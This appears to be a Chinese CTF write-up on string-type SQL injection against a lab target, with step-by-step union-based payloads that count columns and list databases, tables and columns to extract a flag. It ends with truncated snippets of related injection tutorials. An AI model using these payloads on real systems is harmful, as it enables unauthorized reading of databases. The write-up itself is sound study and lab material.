sql字元型注入
多點幾次submit,它會出現這麼個玩意
都說了是字元型,直接上
whalwl' //報錯
whalwl' # //注釋單引號,不報錯
whalwl' order by 3# //查詢字段數,order by 4報錯,order by 3剛好不報錯,故有3列
//查詢有那些資料庫
這裡注意兩點:
1. 為什麼要寫and 1=2?
1=2是false,因為union是聯合查詢,如果union前邊是對的,那麼它的顯示結果會覆蓋union後邊我們真正想顯示的內容,原諒我還是小白,解釋不清楚,直接看結果
2.schema_name為什麼要用group_concat?
這裡我走了一些彎路,一般來說用: union select 1,schema_name,3 from information_schema.schemata 就行,但是結果只顯示了乙個,請看,我沒有騙你們
為此,我查了一下,請看大佬的部落格:
簡單明瞭,當所查詢表不能多行顯示,只能顯示一行時,預設查詢時只會顯示第一行的內容,使用group_concat函式,就可將多行資料轉成乙個字段
好了,繼續,嘗試了mysql和dwvs資料庫,mysql裡面沒有我想要的東西,flag肯定在dwvs裡面啦
whalwl' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dwvs'#
//查詢dwvs裡有哪些表
哈哈,flag表,是不是很開心,下面就簡單了
whalwl' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'dwvs'and table_name ='flag'#
//查詢flag表裡有哪些字段,即列名
噢啦對了,這個平台還有乙個數字型的注入,差不多(過程就省略啦,只給個結果)
名稱:sql數字型get注入01
靶機:
id = 1 and 1=2 union select 1,id,flag from flag
SQL注入 字元型注入(GET)
實驗準備 皮卡丘靶場 sql injection 數值型注入 get 實驗步驟 當輸入乙個資料庫裡存在的使用者名稱時候,會出現相關郵箱和id 當輸入乙個不存在的字串時,沒有任何資訊 檢視其url,發現請求實在url中提交的,是乙個get請求 猜想資料庫查詢語句 select id,email fro...
CTFHub 字元型SQL注入
目錄 一 判斷是否存在注入 二 判斷select語句中有幾列 三 判斷顯示的資訊是第幾列的資訊 四 利用函式來收集資料庫資訊 五 通過union查詢資料庫 1 獲取所有資料庫名稱 2 查詢資料庫中有多少個表 3 查詢指定資料庫中的表名 4 查詢指定資料庫指定表中的列名 5 查詢指定資料庫指定表的列的...
SQL注入 搜尋型注入
語句如下 select from database.table where users like 要查詢的關鍵字 這裡 匹配任何字元,like 的意思就是像。比如我們在搜尋框輸入關鍵字 李 那麼sql語句就變成了select from database.table where users like ...